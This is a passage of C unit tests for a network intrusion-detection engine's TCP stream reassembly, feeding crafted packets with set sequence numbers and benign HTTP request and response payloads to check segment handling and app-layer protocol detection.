if (StreamTcpCheckStreamContents(check_contents, 35, &stream) != 0) {
ret = 1;
} else {
printf("failed in stream matching: ");
}
end:
StreamTcpFreeConfig(TRUE);
SCFree(p);
return ret;
}
static int StreamTcpReassembleTest33(void)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
uint8_t packet[1460] = "";
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = packet;
p->tcph->th_seq = htonl(10);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(20);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(40);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(5);
p->tcph->th_ack = htonl(31);
p->payload_len = 30;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpFreeConfig(TRUE);
SCFree(p);
return 1;
}
static int StreamTcpReassembleTest34(void)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
uint8_t packet[1460] = "";
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = packet;
p->tcph->th_seq = htonl(857961230);
p->tcph->th_ack = htonl(31);
p->payload_len = 304;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(857961534);
p->tcph->th_ack = htonl(31);
p->payload_len = 1460;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(857963582);
p->tcph->th_ack = htonl(31);
p->payload_len = 1460;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(857960946);
p->tcph->th_ack = htonl(31);
p->payload_len = 1460;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpFreeConfig(TRUE);
SCFree(p);
return 1;
}
/** \test Test the bug 56 condition */
static int StreamTcpReassembleTest35(void)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
uint8_t packet[1460] = "";
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 10);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 10);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = packet;
p->tcph->th_seq = htonl(2257022155UL);
p->tcph->th_ack = htonl(1374943142);
p->payload_len = 142;
stream.last_ack = 2257022285UL;
stream.ra_raw_base_seq = 2257022172UL;
stream.ra_app_base_seq = 2257022172UL;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(2257022285UL);
p->tcph->th_ack = htonl(1374943142);
p->payload_len = 34;
stream.last_ack = 2257022285UL;
stream.ra_raw_base_seq = 2257022172UL;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpFreeConfig(TRUE);
SCFree(p);
return 1;
}
/** \test Test the bug 57 condition */
static int StreamTcpReassembleTest36(void)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
uint8_t packet[1460] = "";
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 10);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 10);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = packet;
p->tcph->th_seq = htonl(1549588966);
p->tcph->th_ack = htonl(4162241372UL);
p->payload_len = 204;
stream.last_ack = 1549589007;
stream.ra_raw_base_seq = 1549589101;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(1549589007);
p->tcph->th_ack = htonl(4162241372UL);
p->payload_len = 23;
stream.last_ack = 1549589007;
stream.ra_raw_base_seq = 1549589101;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpFreeConfig(TRUE);
SCFree(p);
return 1;
}
/** \test Test the bug 76 condition */
static int StreamTcpReassembleTest37(void)
{
TcpSession ssn;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
uint8_t packet[1460] = "";
PacketQueue pq;
ThreadVars tv;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 10);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 10);
memset(&stream, 0, sizeof (TcpStream));
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = packet;
stream.os_policy = OS_POLICY_BSD;
p->tcph->th_seq = htonl(3061088537UL);
p->tcph->th_ack = htonl(1729548549UL);
p->payload_len = 1391;
stream.last_ack = 3061091137UL;
stream.ra_raw_base_seq = 3061091309UL;
stream.ra_app_base_seq = 3061091309UL;
/* pre base_seq, so should be rejected */
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) != -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(3061089928UL);
p->tcph->th_ack = htonl(1729548549UL);
p->payload_len = 1391;
stream.last_ack = 3061091137UL;
stream.ra_raw_base_seq = 3061091309UL;
stream.ra_app_base_seq = 3061091309UL;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
p->tcph->th_seq = htonl(3061091319UL);
p->tcph->th_ack = htonl(1729548549UL);
p->payload_len = 1391;
stream.last_ack = 3061091137UL;
stream.ra_raw_base_seq = 3061091309UL;
stream.ra_app_base_seq = 3061091309UL;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpFreeConfig(TRUE);
SCFree(p);
return 1;
}
/**
* \test Test to make sure we don't send the smsg from toclient to app layer
* until the app layer protocol has been detected and one smsg from
* toserver side has been sent to app layer.
*
* Unittest modified by commit -
*
* commit bab1636377bb4f1b7b889f4e3fd594795085eaa4
* Author: Anoop Saldanha <[email protected]>
* Date: Fri Feb 15 18:58:33 2013 +0530
*
* Improved app protocol detection.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest38 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
Port sp;
Port dp;
struct in_addr in;
TcpSession ssn;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
uint8_t httpbuf2[] = "POST / HTTP/1.0\r\nUser-Agent: Victor/1.0\r\n\r\n";
uint32_t httplen2 = sizeof(httpbuf2) - 1; /* minus the \0 */
uint8_t httpbuf1[] = "HTTP/1.0 200 OK\r\nServer: VictorServer/1.0\r\n\r\n";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
FLOW_INITIALIZE(&f);
if (inet_pton(AF_INET, "1.2.3.4", &in) != 1)
goto end;
f.src.addr_data32[0] = in.s_addr;
if (inet_pton(AF_INET, "1.2.3.5", &in) != 1)
goto end;
f.dst.addr_data32[0] = in.s_addr;
sp = 200;
dp = 220;
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 9;
ssn.server.isn = 9;
ssn.server.last_ack = 60;
ssn.client.ra_raw_base_seq = ssn.client.ra_app_base_seq = 9;
ssn.client.isn = 9;
ssn.client.last_ack = 60;
f.alproto = ALPROTO_UNKNOWN;
f.flags |= FLOW_IPV4;
f.sp = sp;
f.dp = dp;
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(20);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf2;
p->payload_len = httplen2;
ssn.state = TCP_ESTABLISHED;
TcpStream *s = NULL;
s = &ssn.server;
SCMutexLock(&f.m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (1): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) > 0) {
printf("there shouldn't be any stream smsgs in the queue (2): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf1;
p->payload_len = httplen1;
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(55);
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (3): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("there should one stream smsg in the queue (6): ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCMutexUnlock(&f.m);
SCFree(p);
return ret;
}
/**
* \test Test to make sure that we don't return the segments until the app
* layer proto has been detected and after that remove the processed
* segments.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest39 (void)
{
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
ThreadVars tv;
StreamTcpThread *stt = NULL;
TCPHdr tcph;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset (&f, 0, sizeof(Flow));
memset(&tv, 0, sizeof (ThreadVars));
StreamTcpThreadInit(&tv, NULL, (void **)&stt);
memset(&tcph, 0, sizeof (TCPHdr));
f.flags = FLOW_IPV4;
f.proto = IPPROTO_TCP;
p->flow = &f;
p->tcph = &tcph;
SCMutexLock(&f.m);
int ret = 0;
StreamTcpInitConfig(TRUE);
/* handshake */
tcph.th_win = htons(5480);
tcph.th_flags = TH_SYN;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
TcpSession *ssn = (TcpSession *)f.protoctx;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != 0) {
printf("failure 1\n");
goto end;
}
/* handshake */
p->tcph->th_ack = htonl(1);
p->tcph->th_flags = TH_SYN | TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != 0) {
printf("failure 2\n");
goto end;
}
/* handshake */
p->tcph->th_ack = htonl(1);
p->tcph->th_seq = htonl(1);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != 0) {
printf("failure 3\n");
goto end;
}
/* partial request */
uint8_t request1[] = { 0x47, 0x45, };
p->tcph->th_ack = htonl(1);
p->tcph->th_seq = htonl(1);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = sizeof(request1);
p->payload = request1;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != STREAM_TOSERVER) {
printf("failure 4\n");
goto end;
}
/* response ack against partial request */
p->tcph->th_ack = htonl(3);
p->tcph->th_seq = htonl(1);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != STREAM_TOSERVER) {
printf("failure 5\n");
goto end;
}
/* complete partial request */
uint8_t request2[] = {
0x54, 0x20, 0x2f, 0x69, 0x6e, 0x64,
0x65, 0x78, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x20,
0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x30,
0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20,
0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73,
0x74, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d,
0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x41,
0x70, 0x61, 0x63, 0x68, 0x65, 0x42, 0x65, 0x6e,
0x63, 0x68, 0x2f, 0x32, 0x2e, 0x33, 0x0d, 0x0a,
0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x3a, 0x20,
0x2a, 0x2f, 0x2a, 0x0d, 0x0a, 0x0d, 0x0a };
p->tcph->th_ack = htonl(1);
p->tcph->th_seq = htonl(3);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = sizeof(request2);
p->payload = request2;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_UNKNOWN ||
f.alproto_ts != ALPROTO_UNKNOWN ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next != NULL ||
ssn->server.seg_list != NULL ||
ssn->toserver_smsg_head != NULL ||
ssn->toclient_smsg_head != NULL ||
ssn->data_first_seen_dir != STREAM_TOSERVER) {
printf("failure 6\n");
goto end;
}
/* response - request ack */
uint8_t response[] = {
0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
0x20, 0x32, 0x30, 0x30, 0x20, 0x4f, 0x4b, 0x0d,
0x0a, 0x44, 0x61, 0x74, 0x65, 0x3a, 0x20, 0x46,
0x72, 0x69, 0x2c, 0x20, 0x32, 0x33, 0x20, 0x53,
0x65, 0x70, 0x20, 0x32, 0x30, 0x31, 0x31, 0x20,
0x30, 0x36, 0x3a, 0x32, 0x39, 0x3a, 0x33, 0x39,
0x20, 0x47, 0x4d, 0x54, 0x0d, 0x0a, 0x53, 0x65,
0x72, 0x76, 0x65, 0x72, 0x3a, 0x20, 0x41, 0x70,
0x61, 0x63, 0x68, 0x65, 0x2f, 0x32, 0x2e, 0x32,
0x2e, 0x31, 0x35, 0x20, 0x28, 0x55, 0x6e, 0x69,
0x78, 0x29, 0x20, 0x44, 0x41, 0x56, 0x2f, 0x32,
0x0d, 0x0a, 0x4c, 0x61, 0x73, 0x74, 0x2d, 0x4d,
0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x3a,
0x20, 0x54, 0x68, 0x75, 0x2c, 0x20, 0x30, 0x34,
0x20, 0x4e, 0x6f, 0x76, 0x20, 0x32, 0x30, 0x31,
0x30, 0x20, 0x31, 0x35, 0x3a, 0x30, 0x34, 0x3a,
0x34, 0x36, 0x20, 0x47, 0x4d, 0x54, 0x0d, 0x0a,
0x45, 0x54, 0x61, 0x67, 0x3a, 0x20, 0x22, 0x61,
0x62, 0x38, 0x39, 0x36, 0x35, 0x2d, 0x32, 0x63,
0x2d, 0x34, 0x39, 0x34, 0x33, 0x62, 0x37, 0x61,
0x37, 0x66, 0x37, 0x66, 0x38, 0x30, 0x22, 0x0d,
0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d,
0x52, 0x61, 0x6e, 0x67, 0x65, 0x73, 0x3a, 0x20,
0x62, 0x79, 0x74, 0x65, 0x73, 0x0d, 0x0a, 0x43,
0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x4c,
0x65, 0x6e, 0x67, 0x74, 0x68, 0x3a, 0x20, 0x34,
0x34, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x6e, 0x65,
0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x20, 0x63,
0x6c, 0x6f, 0x73, 0x65, 0x0d, 0x0a, 0x43, 0x6f,
0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x54, 0x79,
0x70, 0x65, 0x3a, 0x20, 0x74, 0x65, 0x78, 0x74,
0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x0d, 0x0a, 0x58,
0x2d, 0x50, 0x61, 0x64, 0x3a, 0x20, 0x61, 0x76,
0x6f, 0x69, 0x64, 0x20, 0x62, 0x72, 0x6f, 0x77,
0x73, 0x65, 0x72, 0x20, 0x62, 0x75, 0x67, 0x0d,
0x0a, 0x0d, 0x0a, 0x3c, 0x68, 0x74, 0x6d, 0x6c,
0x3e, 0x3c, 0x62, 0x6f, 0x64, 0x79, 0x3e, 0x3c,
0x68, 0x31, 0x3e, 0x49, 0x74, 0x20, 0x77, 0x6f,
0x72, 0x6b, 0x73, 0x21, 0x3c, 0x2f, 0x68, 0x31,
0x3e, 0x3c, 0x2f, 0x62, 0x6f, 0x64, 0x79, 0x3e,
0x3c, 0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x3e };
p->tcph->th_ack = htonl(88);
p->tcph->th_seq = htonl(1);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = sizeof(response);
p->payload = response;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_UNKNOWN ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next != NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 7\n");
goto end;
}
/* response ack from request */
p->tcph->th_ack = htonl(328);
p->tcph->th_seq = htonl(88);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next != NULL ||
